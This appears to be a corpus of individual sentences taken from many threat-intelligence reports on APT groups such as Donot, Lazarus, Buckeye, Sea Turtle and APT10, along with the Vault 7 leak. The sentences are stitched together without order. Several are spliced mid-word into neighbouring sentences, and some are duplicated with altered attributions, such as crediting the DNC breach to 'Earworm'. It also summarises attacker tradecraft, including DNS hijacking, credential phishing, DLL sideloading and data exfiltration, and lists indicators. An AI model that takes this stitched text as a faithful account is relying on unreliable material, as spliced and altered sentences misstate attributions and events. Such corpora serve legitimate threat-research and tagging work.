It's coincident that both 'darkhydrus' APT group name and ‘Williams’ user name in PDB path found in this Twitter user .
In recent APT incidents ,Dark Hydruns tend to adopt Office VBA macro instead of Office 0day vulnerability in the consideration of cost reduction .
ASERT uncovered a credential theft campaign we call LUCKY ELEPHANT where attackers masquerade as legitimate entities such as foreign government , telecommunications , and military .
From at least February 2019 to present ,the actors in the LUCKY ELEPHANT campaign copied webpages to mimic South Asian government websites as well as Microsoft Outlook 365 login pages and hosted them on their own doppelganger domains ,presumably to trick victims into providing login credentials .
ASERT suspects that the Actors use phishing emails to lure victims to the doppelganger websites and entice users to enter their credentials .
It is important to note that one domain ,yahoomail[.]cf is only associated with this group from February 2019 onward .
In late 2018 ,the domain was associated with a different APT group / campaign of Chinese origin .
Based on our analysis into the activity ,ASERT deems with moderate confidence that an Indian APT group is behind the LUCKY ELEPHANT campaign .
The targets are typical of known Indian APT activity and the infrastructure was previously used by an Indian APT group .
DoNot Team has a history of heavily targeting Pakistan ,in addition to other neighboring countries .
The 360 Intelligence Center observed four distinct campaigns against Pakistan since 2017 (link) , recently targeting Pakistani businessmen working in China .
DoNot Team’s confirmed use of this IP dates back to September 2018 , with a six-month gap until it was used to host doppelganger domains for the LUCKY ELEPHANT campaign in early February .
One of the IP addresses , 128.127.105.13 , was previously used by the DoNot Team (aka APT-C-35) , a suspected Indian APT group .
The actors behind LUCKY ELEPHANT recognize the effectiveness and use doppelganger webpages nearly identical to legitimate sites ,enticing users to input their credentials .
The heavier targeting in Pakistan adheres to historical targeting and the ongoing tension between the two countries ,which has escalated since a terrorist attack in Kashmir on 14 February 2019 .
The targeting of Pakistan , Bangladesh , Sri Lanka , Maldives , Myanmar , Nepal , and the Shanghai Cooperation Organization are all historical espionage targets by India .
it is clear is that Donot are actively establishing infrastructure and are targeting governments in South Asia .
First attack of this campaign took place in May 2018 .
Arbor also published APT research on this group , and named it ‘Donot’ .
Donot attacked government agencies , aiming for classified intelligence .
We identified this APT group coded as ‘APT-C-35’ in 2017 ,who is mainly targeting Pakistan and other South Asian countries for cyber espionage .
At least 4 attack campaigns against Pakistan have been observed by us since 2017 .
Spear phishing emails with vulnerable Office documents or malicious macros are sent to victims .
In the latest attack ,Donot group is targeting Pakistani businessman working in China .
Two unique malware frameworks , EHDevel and yty , are developed by attackers .
wuaupdt.exe is a CMD backdoor ,which can receive and execute CMD commands sent from C2 .
it has similar code logic as previous ones wuaupdt.exe in this attack appears in previous Donot attack , and C2 addresses are same to previous ones .
From the attack activity captured this time ,it is obvious that Donot APT group is still keen on Pakistan as primary target of attack , and even expands scope of attack to include Pakistani staffs and institutions in China .
Buhtrap still make extensive use of NSIS installers as droppers and these are mainly delivered through malicious documents .
They first came to light in 2016 ,when they managed to steal sensitive information from the US Democratic National Committee (DNC) .
Earworm first came to light in 2016 ,when they managed to steal sensitive information from the US Democratic National Committee (DNC) .
They were also behind an attack on the World Anti-Doping Agency (WADA) ,in which they leaked confidential information about several drug tests .
SPLM , GAMEFISH , and Zebrocy delivery all maintain their own clusters , but frequently overlap later .
Our previous post on Sofacy's 2017 activity stepped away from the previously covered headline buzz presenting their association with previously known political hacks and interest in Europe and the US , and examines their under-reported ongoing activity in middle east , central asia , and now a shift in targeting further east , including China , along with an overlap surprise .
The larger ,300kb+ SPLM backdoors deployed in 2016 and 2017 are not observed any longer at targets in 2018 .
A previous ,report from another vendor claimed non-specific information about the groups' interest in Chinese universities , but that report has been removed – most likely detections were related to students’ and researchers’ scanning known collected samples and any incidents” remain unconfirmed and unknown .
Either way , the group's consistent activity throughout central and eastern asia seems to be poorly represented in the public discussion .
The actors behind this campaign we call LUCKY ELEPHANT use doppelganger webpages to mimic legitimate entities such as foreign governments , telecommunications , and military .
Sofacy targets large air-defense related commercial organizations in China with SPLM , and moves Zebrocy focus across Armenia , Turkey , Kazahkstan , Tajikistan ,Afghanistan , Mongolia , China , and Japan .
Either way ,Sofacy's consistent activity throughout central and eastern asia seems to be poorly represented in the public discussion .
According to this new alert ,Hidden Cobra the U.S government’s code name for Lazarus has been conducting FASTCash attacks stealing money from Automated Teller Machines (ATMs) from banks in Asia and Africa since at least 2016 .
Lazarus is a very active attack group involved in both cyber crime and espionage .
The group was initially known for its espionage operations and a number of high-profile disruptive attacks ,including the 2014 attack on Sony Pictures .
Following US-CERTs report ,Symantec's research uncovered the key component used in Lazarus's recent wave of financial attacks .
More recently ,Lazarus has also become involved in financially motivated attacks ,including an US$81 million dollar theft from the Bangladesh Central Bank and the WannaCry ransomware .
Other open source and semi-legitimate pen-testing tools like nbtscan and powercat are being used for mapping available resources and lateral movement as well .
To make the fraudulent withdrawals , Lazarus first breaches targeted banks' networks and compromises the switch application servers handling ATM transactions .
The operation , known as FASTCash” has enabled Lazarus to fraudulently empty ATMs of cash .
In order to permit their fraudulent withdrawals from ATMs , Lazarus inject a malicious Advanced Interactive eXecutive (AIX) executable into a running , legitimate process on the switch application server of a financial transaction network , in this case a network handling ATM transactions .
It was previously believed that the attackers used scripts to manipulate legitimate software on the server into enabling the fraudulent activity .
In recent years , Lazarus has also become involved in financially motivated attacks .
This malware in turn intercepts fraudulent Lazarus cash withdrawal requests and sends fake approval responses ,allowing the attackers to steal cash from ATMs .
Lazarus was linked to the $81 million theft from the Bangladesh central bank in 2016 , along with a number of other bank heists .
Lazarus was also linked to the WannaCry ransomware outbreak in May 2017 .
WannaCry incorporated the leaked EternalBlue exploit that used two known vulnerabilities in Windows CVE-2017-0144 and CVE-2017-0145 to turn the ransomware into a worm , capable of spreading itself to any unpatched computers on the victim's network and also to other vulnerable computers connected to the internet .
Lazarus was initially known for its involvement in espionage operations and a number of high-profile disruptive attacks , including the 2014 attack on Sony Pictures that saw large amounts of information being stolen and computers wiped by malware .
In short ,Lazarus continues to pose a serious threat to the financial sector and organizations should take all necessary steps to ensure that their payment systems are fully up to date and secured .
As with the 2016 series of virtual bank heists ,including the Bangladesh Bank heist ,FASTCash illustrates that Lazarus possesses an in-depth knowledge of banking systems and transaction processing protocols and has the expertise to leverage that knowledge in order to steal large sums from vulnerable banks .
The attack , which starts with a malicious attachment disguised as a top secret US document , weaponizes TeamViewer , the popular remote access and desktop sharing software ,to gain full control of the infected computer .
As described in the infection flow , one of the first uses of the AutoHotKey scripts is to upload a screenshot from the compromised PC .
It is hard to tell if there are geopolitical motives behind this campaign by looking solely at the list of countries it was targeting ,since it was not after a specific region and the victims came from different places in the world .
The initial infection vector used by the threat actor also changed over time , during 2018 we have seen multiple uses of self-extracting archives instead of malicious documents with AutoHotKey , which displayed a decoy image to the user .
The recent wave of FASTCash attacks demonstrates that financially motivated attacks are not simply a passing interest for the Lazarus group and can now be considered one of its core activities .
Although both examples of the different delivery methods described above show an exclusive targeting of Russian speakers , the recurring financial and political themes that they use highlight the attacker's interest in the financial world once more .
Throughout our investigation , we have found evidence that shows operational similarities between this implant and Gamaredon Group .
Gamaredon Group is an alleged Russian threat group .
Gamaredon Group has been active since at least 2013 , and has targeted individuals likely involved with the Ukrainian government .
EvilGnome's functionalities include desktop screenshots , file stealing , allowing capturing audio recording from the user’s microphone and the ability to download and execute further modules .
Gamaredon Group primarily makes use of Russian hosting providers in order to distribute its malware .
Gamaredon Group's implants are characterized by the employment of information stealing tools — among them being screenshot and document stealers delivered via a SFX , and made to achieve persistence through a scheduled task .
Gamaredon Group infects victims using malicious attachments , delivered via spear phishing techniques .
The techniques and modules employed by EvilGnome — that is the use of SFX ,persistence with task scheduler and the deployment of information stealing tools—remind us of Gamaredon Group’s Windows tools .
We can observe that the sample is very recent ,created on Thursday , July 4 .
As can be observed in the illustration above ,the makeself script is instructed to run ./setup.sh after unpacking .
The ShooterAudio module uses PulseAudio to capture audio from the user's microphone .
makeself.sh is a small shell script that generates a self-extractable compressed tar archive from a directory .
During our 2018 monitoring of this group , we were able to identify different techniques utilized by very similar attackers in the MENA region , sometimes on the same target .
Gaza Cybergang Group3 (highest sophistication) whose activities previously went by the name Operation Parliament .
Gaza Cybergang has been seen employing phishing , with several chained stages to evade detection and extend command and control server lifetimes .
The most popular targets of SneakyPastes are embassies , government entities , education , media outlets , journalists , activists , political parties or personnel , healthcare and banking .
Through our continuous monitoring of threats during 2018 , we observed a new wave of attacks by Gaza Cybergang Group1 targeting embassies and political personnel .
Gaza Cybergang Group1 is an attack group with limited infrastructure and an open-source type of toolset ,which conducts widespread attacks ,but is nevertheless focused on Palestinian political problems .
In this campaign ,Gaza Cybergang used disposable emails and domains as the phishing platform to target the victims .
The RAT , however , had a multitude of functionalities (as listed in the table below) such as to download and execute , compress , encrypt , upload , search directories , etc .
We expect the damage caused by these groups to intensify and the attacks to extend into other regions that are also linked to the complicated Palestinian situation .
Cylance determined that the ‘Ghost Dragon’ group utilized specifically tailored variants of Gh0st RAT ,which the group modified from the 3.6 version of the source code released in 2008 .
The standard network protocol for Gh0st RAT 3.6 employs zlib compression , which utilizes ‘Gh0st’ as a static five-byte packet flag that must be included in the first five bytes of initial transmission from the victim .
In a more recent version of the modified Gh0st RAT malware ,implemented dynamic packet flags which change the first five bytes of the header in every login request with the controller .
SPEAR has observed numerous different XOR keys utilized by Ghost Dragon .
Exploit and tools continued to be used after Buckeye's apparent disappearance in 2017 .
The Buckeye attack group was using Equation Group tools to gain persistent access to target organizations at least a year prior to the Shadow Brokers leak .
Buckeye's use of Equation Group tools also involved the exploit of a previously unknown Windows zero-day vulnerability .
While Buckeye appeared to cease operations in mid-2017 , the Equation Group tools it used continued to be used in attacks until late 2018 .
The 2017 leak of Equation Group tools by a mysterious group calling itself the Shadow Brokers was one of the most significant cyber security stories in recent years .
However , Symantec has now found evidence that the Buckeye cyber espionage group (aka APT3 , Gothic Panda ) began using Equation Group tools in attacks at least a year prior to the Shadow Brokers leak .
Equation is regarded as one of the most technically adept espionage groups and the release of a trove of its tools had a major impact , with many attackers rushing to deploy the malware and exploits disclosed .
DoublePulsar was delivered to victims using a custom exploit tool (Trojan.Bemstour) that was specifically designed to install DoublePulsar .
One vulnerability is a Windows zero-day vulnerability (CVE-2019-0703) discovered by Symantec .
Bemstour exploits two Windows vulnerabilities in order to achieve remote kernel code execution on targeted computers .
The second Windows vulnerability (CVE-2017-0143) was patched in March 2017 after it was discovered to have been used by two exploit tools—EternalRomance and EternalSynergy—that were also released as part of the ShadowIt was reported by Symantec to Microsoft in September 2018 and was patched on March 12 , 2019 .
How Buckeye obtained Equation Group tools at least a year prior to the Shadow Brokers leak remains unknown .
The Buckeye attack group had been active since at least 2009 , when it began mounting a string of espionage attacks , mainly against organizations based in the U.S .
These include CVE-2010-3962 as part of an attack campaign in 2010 and CVE-2014-1776 in 2014 .
Beginning in August 2016 , a group calling itself the Shadowbegan releasing tools it claimed to have originated from the Equation Group .
Over the coming months ,it progressively released more tools ,until April 2017 ,when it released a final , large cache of tools , including the DoublePulsar backdoor , the FuzzBunch framework , and the EternalBlue , EternalSynergy , and EternalRomance exploit tools .
However , Buckeye had already been using some of these leaked tools at least a year beforehand .
The earliest known use of Equation Group tools by Buckeye is March 31 , 2016 , during an attack on a target in Hong Kong .
Beginning in March 2016 , Buckeye began using a variant of DoublePulsar (Backdoor.Doublepulsar) , a backdoor that was subsequently released by the Shadow Brokers in 2017 .
However , while activity involving known Buckeye tools ceased in mid-2017 , the Bemstour exploit tool and the DoublePulsar variant used by Buckeye continued to be used until at least September 2018 in conjunction with different malware .
During this attack , the Bemstour exploit tool was delivered to victims via known Buckeye malware (Backdoor.Pirpi) .
One hour later , Bemstour was used against an educational institution in Belgium .
Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor .
DoublePulsar is then used to inject a secondary payload , which runs in memory only .
A significantly improved variant of the Bemstour exploit tool was rolled out in September 2016 ,when it was used in an attack against an educational institution in Hong Kong .
When used against 32-bit targets ,Bemstour still delivered the same DoublePulsar backdoor .
Bemstour was used again in June 2017 in an attack against an organization in Luxembourg .
Between June and September 2017 ,Bemstour was also used against targets in the Philippines and Vietnam .
Development of Bemstour has continued into 2019 .
Unlike earlier attacks when Bemstour was delivered using Buckeye's Pirpi backdoor , in this attack Bemstour was delivered to the victim by a different backdoor Trojan (Backdoor.Filensfer) .
The most recent sample of Bemstour seen by Symantec appears to have been compiled on March 23 , 2019 , eleven days after the zero-day vulnerability was patched by Microsoft .
Filensfer is a family of malware that has been used in targeted attacks since at least 2013 .
The zero-day vulnerability found and reported by Symantec (CVE-2019-0703) occurs due to the way the Windows SMB Server handles certain requests .
While Symantec has never observed the use of Filensfer alongside any known Buckeye tools ,information shared privately by another vendor included evidence of Filensfer being used in conjunction with known Buckeye malware (Backdoor.Pirpi) .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
Buckeye's exploit tool ,as well as EternalSynergy ,can exploit the CVE-2017-0143 message type confusion vulnerability to perform memory corruption on unpatched victimthe case of the Buckeye exploit tool , the attackers exploited their own zero-day vulnerability (CVE-2019-0703) .
It is noteworthy that the attackers never used the FuzzBunch framework in its attacks .
FuzzBunch is a framework designed to manage DoublePulsar and other Equation Group tools and was leaked by the Shadow Brokers in 2017 .
There are multiple possibilities as to how Buckeye obtained Equation Group tools before the Shadow Brokers leak .
However , aside from the continued use of the tools ,Symantec has found no other evidence suggesting Buckeye has retooled .
this RTF exploits again the CVE-2017_1882 on eqnedt32.exe .
And the dropper execute the iassvcs.exe to make a side loading and make the persistence .
This IP is very interesting because it connects with tele.zyns.com and old infrastructures used by chinese APT or DDOS Chinese team against the ancient soviet republics .
Over the past three years , Filensfer has been deployed against organizations in Luxembourg , Sweden , Italy , the UK , and the U.S .
All zero-day exploits known , or suspected , to have been used by this group are for vulnerabilities in Internet Explorer and Flash .
According to reports , the Philippines is the most exposed country in ASEAN to the cyberattacks known as advanced persistent threats , or APTs .
Our analysis of this malware shows that it belongs to Hussarini , also known as Sarhust , a backdoor family that has been used actively in APT attacks targeting countries in the ASEAN region since 2014 .
OutExtra.exe is a signed legitimate application from Microsoft named finder.exe .
In addition to file-based protection ,customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received reports on Buckeye , which detail methods of detecting and thwarting activities of this group .
However , in this attack , this file is used to load the Hussarini backdoor via DLL hijacking .
this malware is still actively being used against the Philippines .
Hussarini was first mentioned in APT campaigns targeting the Philippines and Thailand in 2014 .
Further analysis showed that the Iron cybercrime group used two main functions from HackingTeam's source in both IronStealer and Iron ransomware .
Xagent” is the original filename Xagent.exe whereas seems to be the version of the worm .
Xagent – A variant of JbossMiner Mining Worm” – a worm written in Python and compiled using PyInstaller for both Windows and Linux platforms .
Its activities were traced back to 2010 in FireEye's 2013 report on operation Ke3chang – a cyberespionage campaign directed at diplomatic organizations in Europe .
We have been tracking the malicious activities related to this threat actor and discovered a previously undocumented malware family with strong links to the Ke3chang group – a backdoor we named Okrum .
from 2015 to 2019 ,we detected new versions of known malware families attributed to the Ke3chang group – BS2005 backdoors from operation Ke3chang and the RoyalDNS malware ,reported by NCC Group in 2018 .
Ke3chang behind the attacks seemed to have a particular interest in Slovakia , where a big portion of the discovered malware samples was detected; Croatia , the Czech Republic and other countries were also affected .
Our technical analysis of the malware used in these attacks showed close ties to BS2005 backdoors from operation Ke3chang , and to a related TidePool malware family discovered by Palo Alto Networks in 2016 that targeted Indian embassies across the globe .
The story continued in late 2016 , when we discovered a new , previously unknown backdoor that we named Okrum .
The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors .
We started connecting the dots when we discovered that the Okrum backdoor was used to drop a Ketrican backdoor , freshly compiled in 2017 .
In 2017 , the same entities that were affected by the Okrum malware and by the 2015 Ketrican backdoors again became targets of the malicious actors .
This time , the attackers used new versions of the RoyalDNS malware and a Ketrican 2017 backdoor .
According to ESET telemetry , Okrum was first detected in December 2016 , and targeted diplomatic missions in Slovakia , Belgium , Chile , Guatemala and Brazil throughout 2017 .
In addition to file-based protection , customers of the DeepSight has received reports on Buckeye , which detail methods of detecting and thwarting activities of this group .
In 2018 , we discovered a new version of the Ketrican backdoor that featured some code improvements .
According to our telemetry , Okrum was used to target diplomatic missions in Slovakia , Belgium , Chile , Guatemala , and Brazil , with the attackers showing a particular interest in Slovakia .
Indeed , we have detected various external tools being abused by Okrum , such as a keylogger , tools for dumping passwords , or enumerating network sessions .
The detection evasion techniques we observed in the Okrum malware include embedding the malicious payload within a legitimate PNG image , employing several anti-emulation and anti-sandbox tricks , as well as making frequent changes in implementation .
The unnamed company makes products used in the military and aerospace industries , and the hackers could have been after commercial secrets or more traditional espionage , according to ClearSky , the cybersecurity firm that exposed the operation .
North Korean dictator Kim Jong Un has set ambitious economic goals , and some cybersecurity analysts have predicted he will unleash the Pyongyang-affiliated hackers to meet those deadlines by targeting multinational companies’ trade secrets .
According to ClearSky , the suspected Lazarus operatives looked to leverage a vulnerability in outdated WinRAR file-archiving software that hackers have been exploiting since it was disclosed last month .
This new Lotus Blossom campaign delivers a malicious RTF document posing as an ASEAN Defence Minister's Meeting (ADMM) directory (decoy) that also carries an executable (payload) embedded as an OLE object , the Elise backdoor .
Just months after the APT32 watering hole activity against ASEAN-related websites was observed in Fall 2017 ,this new activity clearly indicates the association (ASEAN) clearly remains a priority collection target in the region .
Researchers implicated Lazarus Group because of digital clues including a malicious implant known as Rising Sun that has been attributed to the group .
The attackers originally embedded an implant into the malicious document as a hypertext application (HTA) file , and then quickly moved to hide it in an image on a remote server and used obfuscated Visual Basic macros to launch the decoder script .
Lazarus used the open-source tool Invoke-PSImage , released December 20 , to embed the PowerShell script into the image file .
Once the script runs , it passes the decoded script from the image file to the Windows command line in a variable $x ,which uses cmd.exe to execute the obfuscated script and run it via PowerShell .
The Department of Homeland Security (DHS) issued an alert about this activity on Jan. 24 2019 , warning that an attacker could redirect user traffic and obtain valid encryption certificates for an organization's domain names .
In the Sea Turtle campaign , Talos was able to identify two distinct groups of victims .
The first group , we identify as primary victims , includes national security organizations , ministries of foreign affairs , and prominent energy organizations .
The threat actors behind the Sea Turtle campaign show clear signs of being highly capable and brazen in their endeavors .
In most cases , threat actors typically stop or slow downonce their campaigns are publicly revealed .
The threat actors behind the Sea Turtle campaign were successful in compromising entities by manipulating and falsifying DNS records at various levels in the domain name space .
If an attacker was able to compromise an organization's network administrator credentials , the attacker would be able to change that particular organization's DNS records at will .
If the attackers were able to obtain one of these EPP keys , they would be able to modify any DNS records that were managed by that particular registrar .
Captured legitimate user credentials when users interacted with these actor - controlled servers .
The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals .
As of early 2019 , the only evidence of the spear-phishing threat vector came from a compromised organization's public disclosure .
On January 4 , Packet Clearing House , which is not an Internet exchange point but rather is an NGO which provides support to Internet exchange points and the core of the domain name system , provided confirmation of this aspect of the actors’ tactics when it publicly revealed its internal DNS had been briefly hijacked as a consequence of the compromise at its domain registrar .
During a typical incident , the actor would modify the NS records for the targeted organization , pointing users to a malicious DNS server that provided actor-controlled responses to all DNS queries .
The next step for the actor was to build MitM servers that impersonated legitimate services to capture user credentials .
In addition to the MitM server IP addresses published in previous reports , Talos identified 16 additional servers leveraged by the actor during the observed attacks .
The attackers would then use the certificate on actor-controlled servers to perform additional MitM operations to harvest additional credentials .
In some cases , the victims were redirected to these actor-controlled servers displaying the stolen certificate .
One notable aspect of the campaign was the actors' ability to impersonate VPN applications , such as Cisco Adaptive Security Appliance (ASA) products , to perform MitM attacks .
At this time , we do not believe that the attackers found a new ASA exploit .
Rather , they likely abused the trust relationship associated with the ASA's SSL certificate to harvest VPN credentials to gain remote access to the victim's network .
As an example , DNS records indicate that a targeted domain resolved to an actor-controlled MitM server .
In another case , the attackers were able to compromise NetNod , a non-profit , independent internet infrastructure organization based in Sweden .
Using this access , the threat actors were able to manipulate the DNS records for sa1[.]dnsnode[.]net .
This redirection allowed the attackers to harvest credentials of administrators who manage domains with the TLD of Saudi Arabia (.sa) .
In one of the more recent campaigns on March 27 , 2019 , the threat actors targeted the Sweden-based consulting firm Cafax .
We assess with high confidence that Sea Turtle was targeted in an attempt to re-establish access to the NetNod network , which was previously compromised by this threat actor .
Obtaining access to this ccTLD registrars would have allowed attackers to hijack any domain that used those ccTLDs .
These actors perform DNS hijacking through the use of actor-controlled name servers .
Sea Turtle have been more aggressive in their pursuit targeting DNS registries and a number of registrars , including those that manage ccTLDs .
These actors use Let's Encrypts , Comodo , Sectigo , and self-signed certificates in their MitM servers to gain the initial round of credentials .
These actors have been more aggressive in their pursuit targeting DNS registries and a number of registrars , including those that manage ccTLDs .
Once they have access to the network , they steal the organization's legitimate SSL certificate and use it on actor-controlled servers .
We believe that the Sea Turtle campaign continues to be highly successful for several reasons .
Had more ccTLDs implemented security features such as registrar locks , attackers would be unable to redirect the targeted domains .
The attackers stole organizations' SSL certificates associated with security appliances such as ASA to obtain VPN credentials , allowing the actors to gain access to the targeted network .
The threat actors were able to maintain long term persistent access to many of these networks by utilizing compromised credentials .
Cisco Talos will continue to monitor Sea Turtle and work with our partners to understand the threat as it continues to evolve to ensure that our customers remain protected and the public is informed .
If the user enables macro to open the xlsm file , it will then drop the legitimate script engine AutoHotkey along with a malicious script file .
Create a link file in the startup folder for AutoHotkeyU32.exe , allowing the attack to persist even after a system restart .
More importantly , one of these files also enables the download of TeamViewer , a remote access tool that gives threat actors remote control over the system .
Such attacks highlight the need for caution before downloading files from unknown sources and enabling macro for files from unknown sources .
The agency's hacking division freed it from having to disclose its often controversial operations to the NSA (its primary bureaucratic rival) in order to draw on the NSA's hacking capacities .
By the end of 2016 , the CIA's hacking division , which formally falls under the agency's Center for Cyber Intelligence (CCI) , had over 5000 registered users and had produced more than a thousand hacking systems , trojans , viruses , and other weaponized malware .
Such is the scale of the CIA's undertaking that by 2016 , its hackers had utilized more code than that used to run Facebook .
Wikileaks has carefully reviewed the Year Zero disclosure and published substantive CIA documentation while avoiding the distribution of 'armed' cyberweapons until a consensus emerges on the technical and political nature of the CIA's program and how such 'weapons' should analyzed , disarmed and published .
These redactions include ten of thousands of CIA targets and attack machines throughout Latin America , Europe and the United States .
The increasing sophistication of surveillance techniques has drawn comparisons with George Orwell's 1984 , but Weeping Angel , developed by the CIA's Embedded Devices Branch (EDB) , which infests smart TVs , transforming them into covert microphones , is surely its most emblematic realization .
After infestation , Weeping Angel places the target TV in a 'Fake-Off' mode , so that the owner falsely believes the TV is off when it isAs of October 2014 the CIA was also looking at infecting the vehicle control systems used by modern cars and trucks .
The CIA's Mobile Devices Branch (MDB) developed numerous attacks to remotely hack and control popular smart phones .
Despite iPhone's minority share (14.5%) of the global smart phone market in 2016 , a specialized unit in the CIA's Mobile Development Branch produces malware to infest , control and exfiltrate data from iPhones and other Apple products running iOS , such as iPads .
The attack against Samsung smart TVs was developed in cooperation with the United Kingdom's MI5/BTSS .
CIA's arsenal includes numerous local and remote zero days developed by CIA or obtained from GCHQ , NSA , FBI or purchased from cyber arms contractors such as Baitshop .
These techniques permit the CIA to bypass the encryption of WhatsApp , Signal , Telegram , Wiebo , Confide and Cloackman by hacking the smart phones that they run on and collecting audio and message traffic before encryption is applied .
The CIA also runs a very substantial effort to infect and control Microsoft Windows users with its malware .
CIA's malware includes multiple local and remote weaponized zero days , air gap jumping viruses such as Hammer Drill which infects software distributed on CD/DVDs , infectors for removable media such as USBs , systems to hide data in images or in covert disk areas Brutal Kangaroo and to keep its malware infestations going .
Many of these infection efforts are pulled together by the CIA's Automated Implant Branch (AIB) ,which has developed several attack systems for automated infestation and control of CIA malware , such as Assassin and Medusa .
The CIA has developed automated multi-platform malware attack and control systems covering Windows , Mac OS X , Solaris , Linux and more , such as EDB's HIVE and the related Cutthroat and Swindle tools , which are described in the examples section below .
By hiding these security flaws from manufacturers like Apple and Google the CIA ensures that it can hack everyone &mdsh; at the expense of leaving everyone hackable .
Once in Frankfurt CIA hackers can travel without further border checks to the 25 European countries that are part of the Shengen open border area — including France , Italy and Switzerland .
A number of the CIA's electronic attack methods are designed for physical proximity .
The attacker is provided with a USB containing malware developed for the CIA for this purpose , which is inserted into the targeted computer .
The attacker then infects and exfiltrates data to removable media .
As an example , specific CIA malware revealed in Year Zero is able to penetrate , infest and control both the Android phone and iPhone software that runs or has run presidential Twitter accounts .
For example , the CIA attack system Fine Dining , provides 24 decoy applications for CIA spies to use .
For example , Comodo was defeated by CIA malware placing itself in the Window's Recycle Bin .
CIA hackers discussed what the NSA's Equation Group hackers did wrong and how the CIA's malware makers could avoid similar exposure .
The CIA's Remote Devices Branch's UMBRAGE group collects and maintains a substantial library of attack techniques 'stolen' from malware produced in other states including the Russian Federation .
This information is used by the CIA's 'JQJIMPROVISE' software (see below) to configure a set of CIA malware suited to the specific needs of an operation .
Its configuration utilities like Margarita allows the NOC (Network Operation Center) to customize tools based on requirements from 'Fine Dining' questionairies .
HIVE is a multi-platform CIA malware suite and its associated control software .
A series of standards lay out CIA malware infestation patterns which are likely to assist forensic crime scene investigators as well as Apple , Microsoft , Google , Samsung , Nokia , Blackberry , Siemens and anti-virus companies attribute and defend against attacks .
In April 2013 , Kaspersky Lab reported that a popular game was altered to include a backdoor in 2011 .
Yet again , new supply-chain attacks recently caught the attention of ESET Researchers .
Given that these attacks were mostly targeted against Asia and the gaming industry , it shouldn’t be surprising they are the work of the group described in Kaspersky’s Winnti – More than just a game” .
The OSB functions as the interface between CIA operational staff and the relevant technical support staff .
A sustained cyberespionage campaign targeting at least three companies in the United States and Europe was uncovered by Recorded Future and Rapid7 between November 2017 and September 2018 .
The Honeycomb toolserver receives exfiltrated information from the implant; an operator can also task the implant to execute jobs on the target computer , so the toolserver acts as a C2 (command and control) server for the implant .
The attackers then enumerated access and conducted privilege escalation on the victim networks ,utilizing DLL sideloading techniques documented in a US-CERT alert on APT10 to deliver malware .
On the two other victim networks , the attackers deployed a unique version of the UPPERCUT (ANEL) backdoor , known to have only been used by APT10 .
APT10 actors then compressed proprietary data from Visma using WinRAR (deployed by the attackers) and exfiltrated to a Dropbox account using the cURL for Windows command-line tool .
UMBRAGE components cover keyloggers , password collection , webcam capture , data destruction , persistence , privilege escalation , stealth , anti-virus (PSP) avoidance and survey techniques .
we assess with high confidence that these incidents were conducted by APT10 also known as Stone Panda , menuPass , CVNX in an effort to gain access to networks and steal valuable intellectual property or gain commercial advantage .
On top of the breadth , volume , and targets of attacks that APT10 has conducted since at least 2016 , we now know that these operations are being run by the Chinese intelligence agency , the Ministry of State Security (MSS) .
Utilizing actors working for shell companies such as Huaying Haitai Science and Technology Development Co Ltd ,the MSS has conducted an unprecedented campaign , dubbed Operation Cloud Hopper , ” against managed IT service providers (MSPs) designed to steal intellectual property and enable secondary attacks against their clients .
We assess that APT10 likely compromised Visma with the primary goal of enabling secondary intrusions onto their client networks , and not of stealing Visma intellectual property .
In this same time frame , APT10 also targeted a U.S. law firm and an international apparel company , likely to gather information for commercial advantage .
The backdoor was deployed using the Notepad++ updater and sideloading malicious DLL ,as noted in APT10’s targeting of Japanese corporations in July 2018 .
That attack was attributed to perpetrators Kaspersky called the Winnti Group .
APT10 is a threat actor that has been active since at least 2009 .
APT10 has historically targeted healthcare , defense , aerospace , government , heavy industry and mining , and MSPs and IT services , as well as other sectors , for probable intellectual property theft .
We believe APT10 is the most significant Chinese state-sponsored cyber threat to global corporations known to date .
In the blog , Intrusion Truth identified APT10 as having utilized several Tianjin-based companies , including Huaying Haitai Science and Technology Development Co Ltd and Laoying Baichen Instruments Equipment CoBased on the technical data uncovered , and in light of recent disclosures by the U.S. Department of Justice on the ongoing activities of Chinese state-sponsored threat actors .
Our research from 2017 concluded that Guangdong ITSEC (and therefore the MSS) directed the activities of a company named Boyusec ,which was identified as a shell company for APT3 .
Access to the networks of these third-party service providers grants the MSS the ability to potentially access the networks of hundreds , if not thousands , of corporations around the world .
The December APT10 indictment noted that the group’s malicious activities breached at least 45 companies and managed service providers in 12 countries , including Brazil , Canada , Finland , France , Germany , India , Japan , Sweden ,Switzerland , the United Arab Emirates , the United Kingdom , and the UnitedIn all three incidents , APT10 gained access to networks through deployments of Citrix and LogMeIn remote-access software using stolen valid user credentials .
In all three incidents , the attackers gained access to networks through deployments of Citrix and LogMeIn remote-access software using stolen valid user credentials .
In all three incidents , APT10 actors used previously acquired legitimate credentials , possibly gained via a third-party supply chain compromise in order to gain initial access to the law firm and the apparel company .
In early 2017 , APT10 began conducting attacks against global managed IT service providers (MSPs) that granted them unprecedented access to MSPs and their customers’ networks .
'Improvise' is a toolset for configuration , post-processing , payload setup and execution vector selection for survey/exfiltration tools supporting all major operating systems like Windows (Bartender) , MacOS (JukeBox) and Linux (DanceFloor) .
During this operation (dubbed ‘Cloud Hopper” because of the group’s use of popular western cloud-based services) , APT10 utilized both new malware (Quasar RAT , Trochilus , RedLeaves , ChChes as well as some familiar old tools .
Most recently , on December 20 , 2018 , the U.S. Department of Justice charged two hackers associated with the Chinese Ministry of State Security (MSS) with global computer intrusion campaigns targeting intellectual property .
This indictment attributed the intrusions to APT10 , a group that had been conducting the malicious activities for over a decade on behalf of the MSS , China’s civilian human intelligence agency .
The Visma group operates across the entire Nordic region along with Benelux , Central , and Eastern Europe .
Recorded Future has actively tracked APT10 for several years , focusing specifically on the group’s targeting of MSPs and global internet infrastructure providers since the Operation Cloud Hopper report in 2017 .
We were particularly interested in identifying whether any customers of the targeted MSPs were subsequently compromised by APT10 , given their potential access through compromised MSP networks .
Recorded Future’s Insikt Group has actively tracked APT10 for several years ,focusing specifically on the group’s targeting of MSPs and global internet infrastructure providers since the Operation Cloud Hopper report in 2017 .
In September 2018 , one of our clients (and a supplier as well) , Visma , reached out to us for assistance in investigating an incident uncovered on their network following a breach notification by Rapid7 .
